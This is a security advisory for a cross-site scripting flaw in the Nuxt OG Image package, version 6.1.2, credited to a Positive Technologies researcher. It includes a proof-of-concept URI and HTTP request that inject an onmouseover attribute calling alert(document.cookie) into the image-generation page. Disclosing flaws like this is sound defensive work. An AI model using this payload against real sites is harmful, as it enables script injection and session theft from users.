GHSA-mg36-wvcr-m75h

Product: Nuxt OG Image Version: 6.1.2 CWE-ID: CWE-79: Improper Neutralization of Input During Web Page Generation Description: Incorrect parsing of GET parameters leads to the possibility of HTML injection and JavaScript code injection. Impact: Client-Side JavaScript Execution Exploitation condition: An external user Mitigation: Correct the logic of parsing GET parameters and their subsequent implementation into the generated page. Researcher: Dmitry Prokhorov (Positive Technologies)

Research

During the analysis of the nuxt-og-image package, which is shipped with the nuxt-seo package, a zero‑day vulnerability was discovered. This research revealed that the image‑generation component by the URI: /_og/d/ (and, in older versions, /og-image/) contains a vulnerability that allows injection of arbitrary attributes into the HTML page body. The vulnerability was reproduced using the standard configuration and the default templates.

Listing 1. The content of the configuration file nuxt.config.ts

export default defineNuxtConfig({
  modules: ['nuxt-og-image'],
  devServer: {
    host: 'web-test.local',
    port: 3000
  },
  site: {
    url: 'http://web-test.local:3000',
  },
  ogImage: {
    fonts: [
      'Inter:400', 
      'Inter:700'
    ],
  }
})

Vulnerability reproduction

To demonstrate the proof‑of‑concept, follow the URI: /_og/d/og.html?width=1000&height=1000&onmouseover=alert(document.cookie)&autofocus The injected parameters onmouseover=alert(document.cookie) and autofocus are treated as attributes and are inserted directly into the generated HTML page.

Listing 2. HTTP-request example

GET /_og/d/og.html?width=1000&height=1000&onmouseover=alert(document.cookie) HTTP/1.1
Host: web-test.local:3000

Figure 1. The injected attribute in the HTML body <img width="974" height="670" alt="image" src="https://github.com/user-attachments/assets/d442c235-71a5-4da9-a963-8cf4b8614745" />

Figure 2. JavaScript code execution <img width="974" height="291" alt="image" src="https://github.com/user-attachments/assets/01579f19-8e80-4fae-8516-5903370ee6d8" />

Credits

Researcher: Dmitry Prokhorov (Positive Technologies)